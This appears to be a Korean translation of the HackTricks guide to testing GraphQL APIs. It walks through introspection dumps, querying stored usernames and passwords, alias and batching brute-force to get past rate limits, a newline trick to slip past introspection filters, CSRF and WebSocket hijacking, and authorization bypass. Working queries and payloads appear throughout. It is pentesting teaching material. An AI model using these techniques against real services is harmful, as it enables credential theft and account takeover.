GraphQL

Support HackTricks

Introduction

GraphQL은 효율적인 대안으로 강조되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 단일 요청을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 개발자에게 큰 이점을 제공합니다.

GraphQL과 보안

GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.

디렉토리 브루트 포스 공격과 GraphQL

노출된 GraphQL 인스턴스를 식별하기 위해 디렉토리 브루트 포스 공격에 특정 경로를 포함하는 것이 권장됩니다. 이러한 경로는 다음과 같습니다:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

열린 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검사할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: GraphQL: A query language for APIs.

지문

도구 graphw00f는 서버에서 사용되는 GraphQL 엔진을 감지하고 보안 감사자를 위한 유용한 정보를 출력할 수 있습니다.

유니버설 쿼리

URL이 GraphQL 서비스인지 확인하기 위해 유니버설 쿼리query{__typename}을 보낼 수 있습니다. 응답에 {"data": {"__typename": "Query"}}가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인합니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 __typename 필드에 의존합니다.

query{__typename}

기본 열거

Graphql은 일반적으로 GET, POST (x-www-form-urlencoded) 및 POST(json)를 지원합니다. 보안을 위해 CSRF 공격을 방지하기 위해 json만 허용하는 것이 권장됩니다.

인트로스펙션

스키마 정보를 발견하기 위해 인트로스펙션을 사용하려면 __schema 필드를 쿼리하십시오. 이 필드는 모든 쿼리의 루트 타입에서 사용할 수 있습니다.

query={__schema{types{name,fields{name}}}}

이 쿼리를 사용하면 사용 중인 모든 유형의 이름을 찾을 수 있습니다:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

이 쿼리를 사용하면 모든 타입, 필드 및 인수(인수의 타입)를 추출할 수 있습니다. 이는 데이터베이스를 쿼리하는 방법을 아는 데 매우 유용합니다.

오류

오류표시될지 아는 것은 흥미롭습니다. 이는 유용한 정보에 기여할 것입니다.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

인트로스펙션을 통한 데이터베이스 스키마 열거

인트로스펙션이 활성화되어 있지만 위 쿼리가 실행되지 않는 경우, 쿼리 구조에서 onOperation, onFragment, 및 onField 지시어를 제거해 보십시오.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

인라인 인스펙션 쿼리:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...)

인트로스펙션이 활성화되어 있으면 GraphQL Voyager를 사용하여 GUI에서 모든 옵션을 볼 수 있습니다.

쿼리하기

이제 데이터베이스에 어떤 종류의 정보가 저장되어 있는지 알았으니, 값을 추출해 보겠습니다.

인트로스펙션에서 직접 쿼리할 수 있는 객체를 찾을 수 있습니다 (객체가 존재한다고 해서 쿼리할 수 있는 것은 아닙니다). 다음 이미지에서 "queryType"이 "Query"라고 불리며, "Query" 객체의 필드 중 하나가 "flags"라는 것을 볼 수 있습니다. 이 또한 객체의 유형입니다. 따라서 플래그 객체를 쿼리할 수 있습니다.

쿼리 "flags"의 유형이 "Flags"라는 점에 유의하세요. 이 객체는 아래와 같이 정의됩니다:

"Flags" 객체는 namevalue로 구성되어 있습니다. 그런 다음 쿼리를 사용하여 모든 플래그의 이름과 값을 가져올 수 있습니다:

query={flags{name, value}}

다음 예제와 같이 query객체문자열과 같은 원시 유형인 경우

다음과 같이 쿼리할 수 있습니다:

query={hiddenFlags}

다른 예에서 "Query" 타입 객체 안에 두 개의 객체가 있었습니다: "user"와 "users". 이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 모든 정보를 가져올 수 있습니다. 이 인터넷의 예에서 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:

하지만 이 예에서 그렇게 시도하면 다음과 같은 오류가 발생합니다:

어떻게든 "uid" 타입 _Int_의 인수를 사용하여 검색할 것 같습니다. 어쨌든, 우리는 이미 Basic Enumeration 섹션에서 필요한 모든 정보를 보여주는 쿼리가 제안되었다는 것을 알고 있었습니다: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

제가 그 쿼리를 실행했을 때 제공된 이미지를 읽어보면 "user"가 타입 Int_의 arg "uid_"를 가지고 있음을 알 수 있습니다.

그래서 약간의 uid 브루트포스를 수행한 결과, _uid=1_에서 사용자 이름과 비밀번호가 검색되었습니다: query={user(uid:1){user,password}}

나는 매개변수 "user"와 "password"를 요청할 수 있다는 것을 발견했습니다. 왜냐하면 존재하지 않는 것을 찾으려고 하면 (query={user(uid:1){noExists}}) 다음과 같은 오류가 발생하기 때문입니다:

그리고 열거 단계에서 "dbuser" 객체가 "user"와 "password" 필드를 가지고 있음을 발견했습니다.

쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow_)

문자열 타입으로 검색할 수 있다면, 예를 들어: query={theusers(description: ""){username,password}}와 같이 빈 문자열검색하면 모든 데이터가 덤프됩니다. (이 예는 튜토리얼의 예와 관련이 없으므로, 이 예에서는 "description"이라는 문자열 필드를 사용하여 "theusers"로 검색할 수 있다고 가정합니다).

검색

이 설정에서, 데이터베이스사람들영화를 포함합니다. 사람들은 그들의 이메일이름으로 식별되며; 영화는 그들의 이름평점으로 식별됩니다. 사람들은 서로 친구가 될 수 있으며, 또한 영화가 있어 데이터베이스 내의 관계를 나타냅니다.

이름으로 사람들을 검색하고 그들의 이메일을 얻을 수 있습니다:

{
searchPerson(name: "John Doe") {
email
}
}

당신은 이름으로 사람들을 검색하고 그들의 구독한 영화를 얻을 수 있습니다:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

subscribedMoviesname을 가져오는 방법에 주목하세요.

여러 개의 객체를 동시에 검색할 수 있습니다. 이 경우, 2개의 영화를 검색합니다:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

또는 별칭을 사용하여 여러 다른 객체의 관계:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Mutations는 서버 측에서 변경을 수행하는 데 사용됩니다.

introspection에서 선언된 mutations를 찾을 수 있습니다. 다음 이미지에서 "MutationType"은 "Mutation"이라고 하며, "Mutation" 객체는 mutations의 이름(이 경우 "addPerson")을 포함합니다:

이 설정에서 databasepersonsmovies를 포함합니다. Personsemailname으로 식별되며, moviesnamerating으로 식별됩니다. Persons는 서로 친구가 될 수 있으며, 또한 데이터베이스 내의 관계를 나타내는 영화를 가질 수 있습니다.

데이터베이스 내에서 새로운 영화를 생성하는 mutation은 다음과 같을 수 있습니다(이 예제에서 mutation은 addMovie라고 합니다):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

쿼리에서 값과 데이터 유형이 어떻게 표시되는지 주목하십시오.

또한 데이터베이스는 addPerson이라는 변형 작업을 지원하며, 이를 통해 사람을 생성하고 기존 친구영화와의 연관성을 설정할 수 있습니다. 친구와 영화는 새로 생성된 사람과 연결하기 전에 데이터베이스에 미리 존재해야 한다는 점이 중요합니다.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

이 보고서에 설명된 취약점 중 하나에 설명된 바와 같이, directive overloading은 서버가 DoS 공격을 받을 수 있을 때까지 수백만 번의 directive 호출을 통해 서버의 작업을 낭비하게 만드는 것을 의미합니다.

Batching brute-force in 1 API request

이 정보는 https://lab.wallarm.com/graphql-batching-attack/에서 가져왔습니다. GraphQL API를 통해 다양한 자격 증명을 가진 많은 쿼리를 동시에 전송하여 인증을 확인합니다. 이는 고전적인 brute force 공격이지만, 이제 GraphQL batching 기능 덕분에 HTTP 요청당 하나 이상의 로그인/비밀번호 쌍을 보낼 수 있습니다. 이 접근 방식은 외부 속도 모니터링 애플리케이션을 속여 모든 것이 잘 되고 있으며 비밀번호를 추측하려는 brute-forcing 봇이 없다고 생각하게 만듭니다.

아래는 한 번에 3개의 서로 다른 이메일/비밀번호 쌍을 가진 애플리케이션 인증 요청의 가장 간단한 시연입니다. 분명히 같은 방식으로 단일 요청에서 수천 개를 보낼 수 있습니다:

응답 스크린샷에서 볼 수 있듯이, 첫 번째와 세 번째 요청은 _null_을 반환하고 error 섹션에 해당 정보를 반영했습니다. 두 번째 변형은 올바른 인증 데이터를 가지고 있으며 응답에는 올바른 인증 세션 토큰이 포함되어 있습니다.

GraphQL Without Introspection

점점 더 많은 graphql 엔드포인트가 introspection을 비활성화하고 있습니다. 그러나 예상치 못한 요청이 수신될 때 graphql이 발생시키는 오류는 clairvoyance와 같은 도구가 스키마의 대부분을 재구성하는 데 충분합니다.

게다가, Burp Suite 확장 프로그램 GraphQuail 확장 프로그램은 Burp를 통해 전송되는 GraphQL API 요청을 관찰하고 각 새로운 쿼리를 통해 내부 GraphQL 스키마를 구축합니다. 또한 GraphiQL 및 Voyager를 위한 스키마를 노출할 수 있습니다. 이 확장 프로그램은 introspection 쿼리를 수신할 때 가짜 응답을 반환합니다. 결과적으로 GraphQuail은 API 내에서 사용할 수 있는 모든 쿼리, 인수 및 필드를 보여줍니다. 자세한 내용은 여기를 확인하세요.

멋진 단어 목록을 통해 GraphQL 엔티티를 발견할 수 있습니다.

Bypassing GraphQL introspection defences

API에서 introspection 쿼리에 대한 제한을 우회하기 위해, __schema 키워드 뒤에 특수 문자를 삽입하는 것이 효과적입니다. 이 방법은 introspection을 차단하기 위해 __schema 키워드에 초점을 맞춘 정규 표현식 패턴에서 일반적인 개발자의 실수를 이용합니다. GraphQL이 무시하지만 정규 표현식에서는 고려되지 않을 수 있는 공백, 줄 바꿈 및 쉼표와 같은 문자를 추가함으로써 제한을 우회할 수 있습니다. 예를 들어, __schema 뒤에 줄 바꿈이 있는 introspection 쿼리는 이러한 방어를 우회할 수 있습니다:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

If unsuccessful, consider alternative request methods, such as GET requests or POST with x-www-form-urlencoded, since restrictions may apply only to POST requests.

Try WebSockets

As mentioned in this talk, check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

노출된 GraphQL 구조 발견하기

인스펙션이 비활성화된 경우, JavaScript 라이브러리에서 미리 로드된 쿼리를 찾기 위해 웹사이트의 소스 코드를 검사하는 것은 유용한 전략입니다. 이러한 쿼리는 개발자 도구의 Sources 탭을 사용하여 찾을 수 있으며, API의 스키마에 대한 통찰력을 제공하고 잠재적으로 노출된 민감한 쿼리를 드러냅니다. 개발자 도구 내에서 검색하는 명령은 다음과 같습니다:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

GraphQL의 CSRF

CSRF가 무엇인지 모른다면 다음 페이지를 읽어보세요:

CSRF (Cross Site Request Forgery)

여기에는 CSRF 토큰 없이 구성된 여러 GraphQL 엔드포인트를 찾을 수 있습니다.

GraphQL 요청은 일반적으로 Content-Type **application/json**을 사용하여 POST 요청을 통해 전송된다는 점에 유의하세요.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

그러나 대부분의 GraphQL 엔드포인트는 form-urlencoded POST 요청도 지원합니다:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

따라서 이전과 같은 CSRF 요청이 preflight 요청 없이 전송되기 때문에, CSRF를 악용하여 GraphQL에서 변경수행할 수 있습니다.

그러나 Chrome의 samesite 플래그의 새로운 기본 쿠키 값은 Lax라는 점에 유의하십시오. 이는 쿠키가 GET 요청에서만 제3자 웹에서 전송된다는 것을 의미합니다.

쿼리 요청GET 요청으로 전송하는 것이 일반적으로 가능하며, GET 요청에서 CSRF 토큰이 검증되지 않을 수 있다는 점에 유의하십시오.

또한, XS-Search 공격을 악용하여 사용자의 자격 증명을 이용해 GraphQL 엔드포인트에서 콘텐츠를 유출할 수 있습니다.

자세한 내용은 여기에서 원본 게시물 확인.

GraphQL에서의 교차 사이트 WebSocket 하이재킹

GraphQL을 악용하는 CRSF 취약점과 유사하게, 보호되지 않은 쿠키로 GraphQL 인증을 악용하기 위한 교차 사이트 WebSocket 하이재킹을 수행할 수 있으며, 사용자가 GraphQL에서 예상치 못한 작업을 수행하게 만들 수 있습니다.

자세한 내용은 확인하십시오:

WebSocket Attacks

GraphQL에서의 권한 부여

엔드포인트에 정의된 많은 GraphQL 기능은 요청자의 인증만 확인하고 권한 부여는 확인하지 않을 수 있습니다.

쿼리 입력 변수를 수정하면 민감한 계정 세부 정보가 leaked될 수 있습니다.

변형은 다른 계정 데이터를 수정하려고 시도할 때 계정 탈취로 이어질 수 있습니다.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

GraphQL에서 인증 우회

쿼리 연결을 통해 약한 인증 시스템을 우회할 수 있습니다.

아래 예제에서 작업은 "forgotPassword"이며, 이는 해당 쿼리만 실행해야 합니다. 그러나 끝에 쿼리를 추가함으로써 우회할 수 있으며, 이 경우 "register"와 시스템이 새로운 사용자로 등록할 수 있도록 사용자 변수를 추가합니다.

GraphQL에서 별칭을 사용한 속도 제한 우회

GraphQL에서 별칭은 API 요청 시 속성을 명시적으로 이름 지정할 수 있는 강력한 기능입니다. 이 기능은 단일 요청 내에서 동일한 유형의 객체 여러 인스턴스를 검색하는 데 특히 유용합니다. 별칭은 GraphQL 객체가 동일한 이름의 여러 속성을 가질 수 없도록 하는 제한을 극복하는 데 사용될 수 있습니다.

GraphQL 별칭에 대한 자세한 이해를 위해 다음 리소스를 추천합니다: Aliases.

별칭의 주요 목적은 수많은 API 호출의 필요성을 줄이는 것이지만, 별칭을 사용하여 GraphQL 엔드포인트에 대한 무차별 대입 공격을 실행할 수 있는 의도치 않은 사용 사례가 확인되었습니다. 이는 일부 엔드포인트가 HTTP 요청 수를 제한하여 무차별 대입 공격을 저지하기 위해 설계된 속도 제한기로 보호되기 때문입니다. 그러나 이러한 속도 제한기는 각 요청 내의 작업 수를 고려하지 않을 수 있습니다. 별칭을 사용하면 단일 HTTP 요청에 여러 쿼리를 포함할 수 있으므로 이러한 속도 제한 조치를 우회할 수 있습니다.

아래 제공된 예제를 고려해 보십시오. 이 예제는 별칭 쿼리를 사용하여 상점 할인 코드의 유효성을 확인하는 방법을 보여줍니다. 이 방법은 여러 쿼리를 하나의 HTTP 요청으로 컴파일하므로 속도 제한을 우회할 수 있으며, 동시에 여러 할인 코드를 확인할 수 있습니다.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

도구

취약점 스캐너

클라이언트

자동 테스트

참고 문헌

HackTricks 지원하기

Last updated